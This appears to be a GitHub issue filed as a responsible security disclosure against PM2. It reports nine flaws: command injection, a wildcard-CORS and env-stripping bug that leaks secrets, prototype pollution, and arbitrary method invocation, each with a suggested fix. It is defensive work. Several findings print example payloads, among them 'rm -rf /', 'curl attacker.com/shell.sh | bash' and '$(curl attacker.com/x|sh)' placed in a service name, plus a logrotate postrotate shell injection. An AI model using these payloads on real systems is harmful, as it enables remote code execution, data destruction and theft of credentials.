-
Notifications
You must be signed in to change notification settings - Fork 2.7k
Description
Security: Multiple command injection, prototype pollution, and data exposure vulnerabilities
Repository: Unitech/pm2
Report Date: 2026-03-06
Reported By: Vext Labs — security@tryvext.com
Scanner: Vext Labs Opus SAST (AI-powered static analysis)
Confirmed Findings: 9
Summary
PM2 contains several confirmed security vulnerabilities across its codebase. The HTTP interface exposes sensitive system and process data (including environment variables with secrets) to any origin due to a wildcard CORS policy combined with a buggy env-stripping condition that never actually removes environment variables. The Configuration.set/unset functions are vulnerable to prototype pollution via crafted keys containing __proto__. The startup/unstartup commands are vulnerable to OS command injection through unsanitized service names and usernames interpolated into shell commands executed as root. The open() helper in WebAuth has insufficient shell escaping. The remoteV2 method allows arbitrary method invocation with attacker-controlled arguments. The deploy module constructs shell commands from unsanitized user input.
This report was generated by Vext Labs using AI-powered static analysis.
All findings have been validated through a two-pass review process. We practice
responsible disclosure and are happy to assist with remediation.
1. Command Injection
- Severity: HIGH
- CWE: CWE-78
- File:
lib/API/pm2-plus/auth-strategies/WebAuth.js:156-186 - Confidence: Validated
The open() method constructs a shell command by interpolating the target parameter (a URL) into an exec() call. The escape() function only escapes double quotes, but on Linux/macOS, other shell metacharacters such as backticks, $(), semicolons, pipes, etc. are not escaped. The target is built from this.oauth_endpoint and this.oauth_query in loginViaWeb, but the open method is a general-purpose function. If an attacker can influence the target URL (e.g., through a manipulated OAuth endpoint configuration or a crafted redirect), they can inject arbitrary OS commands.
return exec(`${opener} "${escape(target)}"`, callback)
Exploitation: An attacker who can control or influence the target parameter (e.g., via a compromised or attacker-controlled OAuth endpoint configuration) can inject shell commands. For example, a target like https://example.com$(whoami) or https://example.com";rm -rf /;" would execute arbitrary commands since only double-quote escaping is performed but backtick and $() substitution still works within double-quoted strings in bash.
Recommended Fix: Use child_process.execFile or child_process.spawn with an argument array instead of exec with string interpolation to avoid shell interpretation entirely. Alternatively, use a well-tested open library (e.g., the open npm package) that handles escaping correctly.
2. Data Exposure / Misconfigured Cors
- Severity: HIGH
- CWE: CWE-942
- File:
lib/HttpInterface.js:21-21 - Confidence: Validated
The HTTP interface sets 'Access-Control-Allow-Origin: *' which allows any website to make cross-origin requests and read the response. The '/' endpoint exposes detailed system information (hostname, CPU details, memory, network interfaces, load averages) and full process details including environment variables. The env-stripping logic on line 54 has a bug: it uses && instead of ||, so if proc.pm2_env is undefined, the code returns early without stripping env vars from subsequent processes, and if proc.pm2_env.env is undefined it also returns early. This means environment variables (which often contain secrets, API keys, database credentials) are frequently leaked.
res.setHeader('Access-Control-Allow-Origin', '*');
Exploitation: An attacker hosts a malicious webpage that uses fetch('http://:<PM2_WEB_PORT>/') to read all PM2 process data including environment variables containing secrets. Any user visiting the attacker's page while having network access to the PM2 web interface will leak this data cross-origin.
Recommended Fix: Remove the wildcard CORS header or restrict it to specific trusted origins. Additionally, fix the env-stripping logic on line 54 to use || instead of &&: if (typeof proc.pm2_env === 'undefined' || typeof proc.pm2_env.env === 'undefined') continue;
3. Data Exposure
- Severity: HIGH
- CWE: CWE-200
- File:
lib/HttpInterface.js:49-57 - Confidence: Validated
The condition on line 54 (typeof proc.pm2_env === 'undefined' && typeof proc.pm2_env.env === 'undefined') is logically incorrect. If pm2_env is undefined, accessing pm2_env.env would throw a TypeError. If pm2_env is defined but env is undefined, the && condition is false so the code falls through to delete proc.pm2_env.env which is a no-op on an undefined property. Even when WEB_STRIP_ENV_VARS is true, environment variables containing secrets (API keys, database passwords, tokens) are exposed in the JSON response.
if (typeof proc.pm2_env === 'undefined' && typeof proc.pm2_env.env === 'undefined') return;
delete proc.pm2_env.env;
Exploitation: An attacker queries the PM2 web interface endpoint and receives full environment variables for all managed processes, which commonly contain database credentials, API keys, and other secrets.
Recommended Fix: Fix the condition to: if (!proc.pm2_env || !proc.pm2_env.env) continue; (use continue instead of return to process all items, and use || instead of &&).
4. Prototype Pollution
- Severity: HIGH
- CWE: CWE-1321
- File:
lib/Configuration.js:36-55 - Confidence: Validated
The Configuration.set function takes a user-supplied key that is split by '.' or ':' delimiters and then used to traverse and set properties on a plain JavaScript object. If the key contains __proto__ (e.g., __proto__.polluted), the code will traverse into Object.prototype and set arbitrary properties, polluting the prototype of all objects in the application. The same vulnerability exists in setSync, unset, and unsetSync.
levels.forEach(function(key, index) {
if (index == levels.length -1)
tmp[key] = value;
else if (!tmp[key]) {
tmp[key] = {};
tmp = tmp[key];
}
else {
tmp = tmp[key];
}
});
Exploitation: An attacker who can influence the key parameter (e.g., via pm2 set __proto__.isAdmin true or through any API that calls Configuration.set) can pollute Object.prototype, potentially leading to privilege escalation, denial of service, or remote code execution depending on how downstream code checks object properties.
Recommended Fix: Validate that key segments are not __proto__, constructor, or prototype before using them for property access. Alternatively, use Object.create(null) for the configuration object or use Map instead of plain objects.
5. Command Injection
- Severity: HIGH
- CWE: CWE-78
- File:
lib/API/LogManagement.js:90-96 - Confidence: Validated
The opts.user value is used without sanitization in both the filename written to /etc/logrotate.d/pm2-<user> and as a replacement within the logrotate template script. An attacker who can control the user option (e.g., via pm2 logrotate -u <value>) can inject path traversal characters into the filename or inject arbitrary logrotate directives into the configuration content. Since this runs as root (uid 0 check at line 72), this leads to writing attacker-controlled content to arbitrary locations under /etc/logrotate.d/ or injecting malicious logrotate directives that execute arbitrary commands (logrotate supports postrotate scripts).
var user = opts.user || 'root';
script = script.replace(/%HOME_PATH%/g, cst.PM2_ROOT_PATH)
.replace(/%USER%/g, user);
try {
fs.writeFileSync('/etc/logrotate.d/pm2-'+user, script);
} catch (e) {
Exploitation: An attacker runs: sudo pm2 logrotate -u '../../tmp/evil' to write to /etc/logrotate.d/pm2-../../tmp/evil (path traversal). Alternatively, injecting logrotate directives like newline + postrotate\n/bin/sh -c 'malicious command'\nendscript into the user value would embed arbitrary commands into the logrotate config that execute as root on the next logrotate cycle.
Recommended Fix: Validate that opts.user matches a strict pattern (e.g., /^[a-zA-Z0-9_-]+$/) before using it in the filename or template replacement. Reject any input containing path separators, newlines, or special characters.
6. Command Injection
- Severity: HIGH
- CWE: CWE-78
- File:
lib/API/Startup.js:108-177 - Confidence: Validated
The service_name variable is constructed from opts.serviceName or opts.user (or environment variables like process.env.USER), and is directly interpolated into shell commands that are executed via sexec. If an attacker can control opts.serviceName or the username, they can inject arbitrary shell commands. For example, a serviceName like foo; curl attacker.com/shell.sh | bash; would be executed as part of the shell command string.
var service_name = (opts.serviceName || 'pm2-' + user);
...
commands = [
'systemctl stop ' + service_name,
'systemctl disable ' + service_name,
'rm /etc/systemd/system/' + service_name + '.service'
];
...
sexec(commands.join('&& '), function(code, stdout, stderr) {
Exploitation: An attacker who can influence the --service-name CLI option (or the username used to derive the service name) can inject arbitrary OS commands. For example: pm2 unstartup systemd --service-name 'test; malicious_command #' would cause sexec to run systemctl stop test; malicious_command #....
Recommended Fix: Sanitize service_name, user, and all values interpolated into shell commands. Use an allowlist regex (e.g., /^[a-zA-Z0-9._-]+$/) to validate these values, or use child_process.execFile with argument arrays instead of constructing shell command strings.
7. Command Injection
- Severity: HIGH
- CWE: CWE-78
- File:
lib/API/Startup.js:238-389 - Confidence: Validated
In the startup method, service_name, user, and destination are derived from user-controllable options (opts.serviceName, opts.user) and are interpolated directly into shell commands executed via sexec. Additionally, the template content is written to a file path derived from service_name without sanitization, and then shell commands referencing these values are executed.
var service_name = (opts.serviceName || 'pm2-' + user);
...
commands = [
'systemctl enable ' + service_name
];
...
sexec(command, function(code, stdout, stderr) {
Exploitation: An attacker with access to the PM2 CLI (e.g., a local user on a shared system running pm2 startup with sudo) can pass a crafted --service-name value containing shell metacharacters: pm2 startup systemd --service-name '$(curl attacker.com/x|sh)'. This would execute arbitrary commands when sexec runs systemctl enable $(curl attacker.com/x|sh).
Recommended Fix: Validate service_name and user against a strict allowlist pattern (e.g., /^[a-zA-Z0-9._-]+$/). Use child_process.execFile with explicit argument arrays instead of shell string interpolation.
8. Command Injection
- Severity: HIGH
- CWE: CWE-94
- File:
lib/API/Extra.js:641-649 - Confidence: Validated
The remoteV2 method dynamically invokes that[command] where both command and opts.args are externally supplied. The attacker-controlled opts.args array is spread as arguments via .apply(). This allows invoking any method on the CLI instance (or its prototype chain) with fully controlled arguments, enabling arbitrary code execution.
CLI.prototype.remoteV2 = function(command, opts, cb) {
var that = this;
if (that[command].length == 1)
return that[command](cb);
opts.args.push(cb);
return that[command].apply(this, opts.args);
};
Exploitation: An attacker who can reach the remoteV2 endpoint can set command to any method name and opts.args to arbitrary values. For example, calling start with a malicious script path, or invoking prototype methods like constructor to manipulate the runtime.
Recommended Fix: Validate command against an explicit allowlist of safe, permitted method names. Validate and sanitize opts.args before passing them to the method.
9. Command Injection
- Severity: HIGH
- CWE: CWE-78
- File:
lib/API/Deploy.js:103-103 - Confidence: Validated
When no 'post-deploy' command is specified in the deployment configuration, PM2 constructs a shell command by concatenating the file path and env variable directly into a string that is later executed as a shell command by pm2-deploy. The env value comes from user-supplied command-line arguments (args[0] or args[1]), and the file value can also be user-controlled. Neither is sanitized or escaped before being interpolated into the shell command string.
json_conf.deploy[env]['post-deploy'] = 'pm2 startOrRestart ' + file + ' --env ' + env;
Exploitation: An attacker (or a malicious ecosystem config file name / environment name) could craft an environment name containing shell metacharacters, e.g., pm2 deploy production; curl attacker.com/shell.sh | bash. Since pm2-deploy executes this string via SSH as a shell command on the remote host, the injected commands would execute on the deployment target server.
Recommended Fix: Sanitize or shell-escape both file and env before interpolating them into the command string. Use a library like shell-quote to properly escape arguments, or validate that env and file contain only safe characters (e.g., alphanumeric, hyphens, dots, underscores).
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-03-06 | Report sent to maintainers |
| 2026-03-06 + 90 days | Public disclosure (per standard responsible disclosure) |
Contact
This report was generated by Vext Labs as part of our open-source
security research initiative.
- Email: security@tryvext.com
- Website: https://tryvext.com
We're happy to provide additional details, proof-of-concept demonstrations, or
assist with remediation. Please reply to this issue or email us directly.